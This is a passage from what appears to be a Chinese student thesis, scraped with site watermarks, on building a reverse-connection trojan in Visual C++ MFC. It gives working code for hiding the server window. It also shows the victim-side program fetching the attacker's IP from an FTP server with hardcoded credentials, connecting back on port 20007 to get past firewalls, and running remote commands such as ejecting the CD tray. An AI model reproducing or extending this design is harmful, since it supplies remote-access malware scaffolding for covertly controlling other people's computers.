4.1.3 木马的窗口隐藏实现 窗口的隐藏是在服务端程序的server.cpp文件中InitInstance()函数的函数体中通过m_pMainWnd->ShowWindow(SW_HIDE)把窗口显示的参数设为SW_HIDE而实现。InitInstance()是进行程序的初始化,服务端程序一旦执行就首先执行该函数,所以服务端运行时首先隐藏窗口。 copyright paper51.com 4.2 木马连接过程 copyright paper51.com 4.2.1 连接过程理论研究 copyright paper51.com 传统木马就是一种基于“客户机/服务器”模式的远程控制程序,它让被攻击的计算机运行服务器端的程序,这个服务器端的程序会在被攻击的计算机上打开监听的端口。这就给黑客入侵用户计算机打开了一扇进出的门,然后黑客就可以利用木马的客户端入侵用户的计算机系统。 paper51.com 内容来自www.paper51.com 图4 客户端与服务端Socket连接过程 内容来自www.paper51.com 常见的普通木马,是驻留在用户计算机里的一段服务程序,而攻击者控制的则是相应的客户端程序。服务程序通过特定的端口,打开用户计算机的连接资源。一旦攻击者所掌握的客户端程序发出请求,木马便和他连接起来,将用户的信息窃取出去。在这个过程中我们发现此类木马的最大弱点,在于攻击者必须和用户主机建立连接,木马才能起作用。随着防火墙技术的提高和发展,基于IP包过滤规则来拦截木马程序可以很有效地防止外部连接,所以有了对外部连接审查严格的防火墙,黑客在无法取得连接的情况下,这样的木马很难工作起来。再厉害的木马也无所作为了。同样,局域网内通过代理上网的电脑,因为是多台共用代理服务器的IP地址,而本机没有独立的互联网IP地址(只有局域网内部的IP地址),所以此时木马也不能正常使用,就是说传统型木马不能访问装有防火墙和在局域网内部的服务端主机。 内容来自www.paper51.com
在这种情况下,传统的木马已无用武之地,为了能绕过防火墙,充分利用防火墙对于向内的连接往往会进行非常严格的过滤,对于向外的连接却疏于防范。内部发起的连接请求无条件信任的特点,假冒是系统的合法网络请求来取得对外的端口,再连接到木马的客户端,从而建立起服务端与客户端的连接,达到控制目标计算机的目的。进而设计出一种新型木马——反弹端口木马。其建立连接的过程可用图4来描述。 paper51.com 如图4所示,运行在主控端计算机上的客户端先创建一个套接字,绑定之后便处于监听状态,等待服务端的连接请求。目标计算机上线后,同样创建新的套接字,然后向客户端发起连接请求,两端建立好连接后,客户端便可以向服务端发送请求数据,即命令,服务端收到命令后将执行相应的操作。这样客户端就达到控制被控端计算机的目的。 copyright paper51.com 4.2.2 木马连接过程实现 paper51.com 假设攻击网络的拓扑结构如图5所示,被攻击者处于图中的左端,IP地址为202.165.102.205,攻击者处于图中的右端,IP地址为222.18.122.131,由于一般主机上网的公网IP地址不是固定的,为了能让服务端能准确的连接到攻击者的计算机,攻击者必需让服务端得到其最新的IP地址,所以木马程序为解决这一问题,采用的办法步骤如下: copyright paper51.com 1、攻击者每次开机后运行木马的客户端,程序处于监听状态; copyright paper51.com 2、登录图中的FTP服务器,修改其中存有客户端IP地址的文件ipaddress.txt,将自己当前的IP地址写入该文件中; 内容来自论文无忧网 www.paper51.com 3、被攻击者开机后会自动运行木马的服务端,服务端程序首先去访问图中的FTP服务器,下载ipaddress.txt文件到本地计算机上; http://www.paper51.com 4、服务端读取ipaddress.txt文件获取客户端的IP地址,然后向该IP地址的主机发起连接请求; http://www.paper51.com 5、客户端接受连接请求,连接建立成功。 paper51.com copyright paper51.com 图5 攻击网络拓扑结构 paper51.com 木马客户端运行后应先单击“等待连接”来让客户端处于监听状态,单击该按钮将触发clientDlg.cpp文件中事件函数OnConnectButton,其实现监听的代码如下所示: copyright paper51.com voidCClientDlg::OnConnectButton() 内容来自www.paper51.com { 内容来自www.paper51.com MyClient.Create (20007);// MyClient对象调用Create方法,创建套接字,打开2007端口 内容来自www.paper51.com MyClient.Bind (20007); //绑定 paper51.com MyClient.Listen (1); //监听 copyright paper51.com
m_info.ReplaceSel("\r\n监听中..."); copyright paper51.com } 内容来自论文无忧网 www.paper51.com 木马服务端运行后,在连接前应到FTP服务器上获取客户端的IP地址,其实现核心代码如下: paper51.com CInternetSessionsession; http://www.paper51.com CFtpConnection*pConn=NULL; paper51.com pConn=session.GetFtpConnection("222.18.122.131","admin","123456",21);//创建一个FTP连接对象 内容来自论文无忧网 www.paper51.com CString LocalFile; paper51.com
getcwd(LocalFile, 80); http://www.paper51.com pConn->GetFile("ipaddress.txt",LocalFile);//下载文件到本地 内容来自论文无忧网 www.paper51.com pConn->Close(); http://www.paper51.com session.Close(); 内容来自论文无忧网 www.paper51.com 服务端得到客户端IP地址后应该主动向客户端发起连接,其实现是在serverView.cpp中的Create函数中,核心代码如下: paper51.com CFileIpFile("ipaddress.txt",CFile::modeRead);//打开当前运行文件路径下的//ipaddress.txt文件 内容来自论文无忧网 www.paper51.com IpFile.Read(p,20); //读取文件,并将文件内容存放在指针p中 内容来自www.paper51.com IpFile.Close(); paper51.com
ip=CString(p); copyright paper51.com server.Create ();//创建套按字 copyright paper51.com server.Connect(ip,20007);//连接IP地址为ip的主机的20007端口 内容来自www.paper51.com 客户端在监听状态时收到连接请求后,将进行接受请求,此过程是在MySocket.cpp中实现的,收到连接请求将触发文件中的CMySocket类中的OnAccept()重载函数,其实现代码如下,至此整个连接过程完成。 内容来自www.paper51.com
voidCMySocket::OnAccept(int nErrorCode) //函数重载 http://www.paper51.com { 内容来自www.paper51.com if(Accept(serversocket))//接受连接请求 内容来自论文无忧网 www.paper51.com { 内容来自www.paper51.com AfxMessageBox("与被控端连接成功!");//在客户端弹出连接成功的信息提示框 paper51.com }; paper51.com } http://www.paper51.com
4.3 木马的远程控制功能设计4.3.1 木马的功能实现 http://www.paper51.com 在木马的客户端界面上分别添加“光驱弹出”、“光驱关闭”、“鼠标移动”等按钮,并分别给它们添加事件驱动函数。再双击按钮为各函数添加代码,代码主要是通过套按字向服务端发送命令代码字符串。 copyright paper51.com
在服务端的MySocket.cpp文件中的CMySocket类中重载OnReceive()函数,当收到信息后就对命令代码字符串进行判定,通过其值去调用Actions类中的相应函数。这些函数通过执行代码或调用系统的API函数让被控计算机执行相应的操作。 copyright paper51.com 图5 木马功能实现流程图 paper51.com
这样在服务端与客户端运行并成功建立连接后,攻击者通过点击客户端界面上的各种按钮就能驱动相应的事件函数,在事件函数中向被攻击计算机发送命令代码,如图5 中表1 的每一个操作按钮与事件函数。此过程可用图5的流程来描述木马功能的实现过程。 内容来自论文无忧网 www.paper51.com 图5中表1是客户端操作按钮与事件函数以及以及事件函数发送的命令代码字符串的对应表;表2是服务端命令代码与相应的操作函数对应表。 内容来自www.paper51.com 4.3.2 木马的功能执行过程 copyright paper51.com 由于木马的各功能的执行过程基本相同,不妨以“光驱弹出”按钮为例来描述木马功能的执行过程。 paper51.com
当用户单击“光驱弹出”按钮后,程序就执行CClientDlg对话框类下的OnDiskPopout()事件函数,该函数将用语句 内容来自www.paper51.com
MyClient.serversocket.message.uActtype= DISK_POP_OUT; 内容来自www.paper51.com 把DISK_POP_OUT赋值给MyClient对象中的uActtype成员变量,然后利用MyClient 的成员对象serversocket 的Send 方法把DISK_POP_OUT指令代码发送到服务端,其VC代码如下: 内容来自www.paper51.com MyClient.serversocket.Send((char*)(&MyClient.serversocket.message),2); 内容来自www.paper51.com 最后在图3中的信息栏中显示“服务端光驱弹出”的提示信息和显示当前系统时间。VC代码为: 内容来自www.paper51.com m_info.ReplaceSel("\r\n服务端光驱弹开!");//在信息栏显示提示信息 http://www.paper51.com GetServeTime();//得到系统时间 内容来自论文无忧网 www.paper51.com 被攻击计算机的服务端收到数据包后触发OnReceive()函数,在该函数中首先是从数据缓冲区中读取数据,并赋值给字符串变量strr,然后解读strr中的uActtype变量,得到命令代码,通过命令代码的值去调用相应的函数,在服务端程序中已经对命令代码进行了宏定义,如DISK_POP_OUT就宏定义为1,不妨设获取的命令代码为DISK_POP_OUT,服务端就判定代码为DISK_POP_OUT就执行Actions类的MyAction对象中的DiskPopout()函数,在DiskPopout()函数体中的调用系统提供的函数 内容来自论文无忧网 www.paper51.com
mciSendString("SetcdAudio door open wait",NULL,0,NULL); paper51.com 将弹出服务端计算机的光驱。至此,攻击者已经通过单击“光驱弹出”按钮将服务端计算机的光驱弹出。其过程也可简单用图6的流程来描述。 内容来自论文无忧网 www.paper51.com
图6 光驱弹出执行流程图 copyright paper51.com 与“光驱弹出”相同,攻击者在单击别的操作按钮时也执行相应的函数,发送相应的命令代码,服务端收到数据后,首先解包获取命令代码,再根据命令调用对应的操作函数,执行相关语句产生相应效果。 内容来自www.paper51.com 5 测试5.1 测试环境 内容来自www.paper51.com AMD 1800+处理器、256M内存的计算机两台,一台计算机装有Windows XP,另一台装有Windows 2003并搭建FTP服务器。 内容来自论文无忧网 www.paper51.com |